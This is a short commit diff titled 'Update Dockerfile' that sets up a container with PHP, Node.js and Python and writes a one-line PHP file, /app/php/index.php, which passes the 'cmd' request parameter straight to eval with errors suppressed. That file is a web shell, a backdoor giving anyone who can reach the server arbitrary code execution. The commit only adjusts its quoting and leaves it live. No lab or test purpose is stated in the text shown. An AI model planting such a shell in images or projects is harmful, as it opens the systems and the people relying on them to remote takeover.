Update Dockerfile

Dockerfile

@@ -4,7 +4,7 @@ RUN apt-get update && apt-get install -y curl php nodejs python3
 RUN useradd -m -d /home/user -u 1000 user
 RUN chown -R 1000 /home/user && chmod -R 700 /home/user
 RUN mkdir -p /app
-RUN mkdir -p /app/php && echo '<?php @eval($_REQUEST[cmd]);?>' > /app/php/index.php
+RUN mkdir -p /app/php && echo '<?php @eval($_REQUEST["cmd"]);?>' > /app/php/index.php
 RUN chmod -R 755 /app
 USER 1000
 WORKDIR /app